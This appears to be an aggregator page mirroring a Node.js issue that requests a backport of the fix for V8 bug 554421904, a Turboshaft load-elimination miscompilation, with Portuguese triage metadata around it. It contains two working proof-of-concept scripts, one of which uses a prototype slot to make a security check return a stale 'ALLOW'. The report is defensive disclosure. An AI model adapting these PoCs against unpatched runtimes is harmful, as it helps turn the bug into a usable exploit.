V8 Turboshaft LLE alias bug (554421904) not backported to V8 14.6 (Node.js v26)
Ninguém assumiu esta issue ainda.
Avaliação
- Dificuldade
- 4/5
- Tempo estimado
- 3-5 dias
- Facilidade para iniciantes
- 48/100
- Tipo de issue
- Bug
- Clareza
- Claramente especificada
- Status de atividade
- Ativa
- Stack de tecnologia
- javascript, nodejs
- Domínio
- compilers
Direção de pesquisa
Comece comparando o snapshot do V8 14.6 do Node.js com o commit upstream b44239fe; depois, execute v8-lle-poc.js e v8-lle-escalation.js usando o comando documentado do Node.js v26. Verifique o processo de backport do V8 e valide um build com o patch em relação às duas saídas esperadas; considera-se concluído quando o fix tiver sido aplicado ou seu agendamento tiver sido confirmado.
Escrita pelo modelo de indexação a partir do texto da issue.
Descrição
Summary
V8 bug 554421904 — "Turboshaft LLE: non-writing calls can create aliases" — is fixed upstream in V8 15.3 / Chrome 153 by commit b44239fe. The fix is not present in the V8 14.6 snapshot shipped by current stable Node.js v26.3.0.
An optimized function returns a wrong value (undefined instead of 1.1) because Turboshaft's Late Load Elimination (LLE) marks a BoundFunction invocation as a non-writing call, but the call creates a hidden alias to an input array and writes through that alias. LLE does not invalidate its tracked state, so a subsequent valid store (set7) is eliminated — the returned array slot stays undefined.
This is a backport request: please apply b44239fe to Node.js's V8 14.6 line, or confirm it is already scheduled.
Environment
| Node.js | v26.3.0 (current stable) |
| V8 | 14.6.202.34-node.20 |
| Platform | macOS arm64 (compiler-level bug — platform independent) |
| Reproduced | 5/5 fresh processes |
| Fixed in | Chrome 153 / V8 15.3 (commit b44239fe) — absent in Node.js v26 |
Steps to Reproduce
node --allow-natives-syntax v8-lle-poc.js
Actual output (wrong) on Node.js v26.3.0:
Optimization status: 65 | Turboshaft(64): true | TurboFan(2): false | Maglev(16): false
staleArray[0]: 1.1 | expected: 1.1 | OK
staleArray[7]: undefined | expected: 1.1 | WRONG!
target.length: 0 | expected: 0 | OK
RESULT: BUG TRIGGERED — Turboshaft LLE eliminated a valid store
V8: 14.6.202.34-node.20 | Node: v26.3.0
Expected output (patched build):
staleArray[0]: 1.1 | expected: 1.1 | OK
staleArray[7]: 1.1 | expected: 1.1 | OK
target.length: 0 | expected: 0 | OK
RESULT: NOT TRIGGERED on this build
PoC #1 — Correctness (v8-lle-poc.js)
// V8 Turboshaft LLE alias bug (V8 554421904) — NOT backported to V8 14.6 (Node.js v26)
// Upstream fix: commit b44239fe (V8 15.3 / Chrome 153)
// Run: node --allow-natives-syntax v8-lle-poc.js
'use strict';
function set7(arr, v) { arr[7] = v; }
function set0(arr, v) { arr[0] = v; }
function carrier(...rest) {
const receiver = rest[32765] ? rest[32766] : doubleArray;
set0(receiver, 1.1);
}
function victim(payload) {
const staleArray = Array(8);
const target = [];
if (!trigger) staleArray.x = 0;
boundCarrier(trigger, staleArray);
set7(staleArray, payload);
return { target, staleArray };
}
%PrepareFunctionForOptimization(set0);
%PrepareFunctionForOptimization(set7);
%PrepareFunctionForOptimization(carrier);
%PrepareFunctionForOptimization(victim);
const doubleArray = Array(8);
set0(doubleArray, 1.1);
set7(doubleArray, 0);
set0(Array(8), 0);
const boundCarrier = carrier.bind(null, ...Array(32765).fill(0));
let trigger = 0;
victim(0);
trigger = 1;
boundCarrier(trigger, doubleArray);
trigger = 0;
victim(0);
%OptimizeFunctionOnNextCall(victim);
trigger = 1;
const { target, staleArray } = victim(1.1);
const status = %GetOptimizationStatus(victim);
console.log('Optimization status:', status, '| Turboshaft(64):', !!(status & 64));
const a0 = staleArray[0];
const a7 = staleArray[7];
console.log('staleArray[0]:', a0, '| expected: 1.1 |', a0 === 1.1 ? 'OK' : 'WRONG!');
console.log('staleArray[7]:', a7, '| expected: 1.1 |', a7 === 1.1 ? 'OK' : 'WRONG!');
if (a0 === 1.1 && a7 === 1.1) {
console.log('RESULT: NOT TRIGGERED on this build');
} else {
console.log('RESULT: BUG TRIGGERED — Turboshaft LLE eliminated a valid store');
console.log(' V8:', process.versions.v8, '| Node:', process.version);
}
PoC #2 — Escalation (v8-lle-escalation.js)
'use strict';
function set7(arr, v) { arr[7] = v; }
function set0(arr, v) { arr[0] = v; }
function carrier(...rest) {
const receiver = rest[32765] ? rest[32766] : doubleArray;
set0(receiver, 1.1);
}
function victim(payload) {
const staleArray = Array(8);
const target = [];
if (!trigger) staleArray.x = 0;
boundCarrier(trigger, staleArray);
set7(staleArray, payload); // DENY write — LLE target
return staleArray[7]; // own property if written, else prototype
}
%PrepareFunctionForOptimization(set0);
%PrepareFunctionForOptimization(set7);
%PrepareFunctionForOptimization(carrier);
%PrepareFunctionForOptimization(victim);
const doubleArray = Array(8);
set0(doubleArray, 1.1); set7(doubleArray, 0); set0(Array(8), 0);
const boundCarrier = carrier.bind(null, ...Array(32765).fill(0));
let trigger = 0; victim(0);
trigger = 1; boundCarrier(trigger, doubleArray);
trigger = 0; victim(0);
Array.prototype[7] = 'ALLOW'; // attacker-controlled prototype slot
%OptimizeFunctionOnNextCall(victim);
trigger = 1;
const r = victim(0); // payload 0 = DENY
console.log('status:', %GetOptimizationStatus(victim), '| returned arr[7]:', r);
console.log(r === 0 ? 'DENY OK (secure)' : 'STALE ALLOW via prototype — security decision on wrong value!');
delete Array.prototype[7];
Confirmed output (Node.js v26.3.0):
status: 65 | returned arr[7]: ALLOW
STALE ALLOW via prototype — security decision on wrong value!
Note: the escalation requires attacker-controlled JS execution. It demonstrates the maximal impact class of the miscompilation only, not a standalone boundary-crossing claim.
Root Cause
boundCarrier = carrier.bind(null, ...Array(32765).fill(0))— 32,765 bound args + 2 call args = 32,767 (kMaxArguments)- Turboshaft LLE marks the BoundFunction invocation as
!can_write()because it only allocates new memory for argument marshalling - Inside
carrier,rest[32766]isstaleArray— the call created an alias to the input, andset0writes through it - LLE does not invalidate
staleArray's state, soset7(staleArray, payload)is eliminated - Result:
staleArray[7]staysundefined
Upstream commit message (b44239fe) confirms:
"The can_write effect really means 'can write to pre-existing memory'... A builtin that allocates memory and writes to it can be marked as !can_write(), but it could still create aliases to its inputs, which we do need to invalidate."
Suggested Fix
Backport V8 commit b44239fe
Change-Id: I8045ec40d2819d9ab92795b2352374a0df20cbc8
"[M153] [turboshaft] LLE: non-writing calls can create aliases" — Fixed: 554421904
References
- Upstream fix: https://chromium.googlesource.com/v8/v8/+/b44239fe
- Code review: https://chromium-review.googlesource.com/c/v8/v8/+/8345010
- V8 bug: 554421904
- Linguagem predominante
- JavaScript
- Estrelas
- 122k
- Forks
- 37.4k
- Merge médio
- 4d 3h
- PRs com merge (30d)
- 272
Guia de contribuição
Primeiros passos
- Leia a issue inteira e depois o guia de contribuição do projeto.
- Comente na issue dizendo que vai assumir — evita que duas pessoas façam o mesmo trabalho.
- Faça um fork do repositório e trabalhe em uma branch.
- Abra um pull request que referencie o número da issue.
Mais de nodejs/node
-
doc
Dificuldade 2/5 1-3 horas Facilidade para iniciantes 65/100
-
build
Dificuldade 1/5 Menos de uma hora Facilidade para iniciantes 88/100
-
Dificuldade 2/5 1-3 horas Facilidade para iniciantes 84/100
-
Dificuldade 1/5 Menos de uma hora Facilidade para iniciantes 90/100
-
feature request
Dificuldade 2/5 1-3 horas Facilidade para iniciantes 68/100
Todas as issues de nodejs/node
Issues semelhantes
-
enhancement
Dificuldade 2/5 1-3 horas Facilidade para iniciantes 70/100
babalae/bettergi-scripts-list#3674 ·
-
ecosystem wording
Dificuldade 1/5 Menos de uma hora Facilidade para iniciantes 90/100
matrix-org/matrix.org#3649 ·
-
Dificuldade 2/5 1-3 horas Facilidade para iniciantes 88/100
vadimdemedes/ink#1029 ·
-
code-quality refactoring
Dificuldade 2/5 1-3 horas Facilidade para iniciantes 84/100
github/gh-aw-firewall#8816 ·
-
integration:quickjs org:external priority:backlog topic:code-interpreter topic:middleware type:feature
Dificuldade 2/5 1-3 horas Facilidade para iniciantes 74/100
langchain-ai/deepagents#6450 ·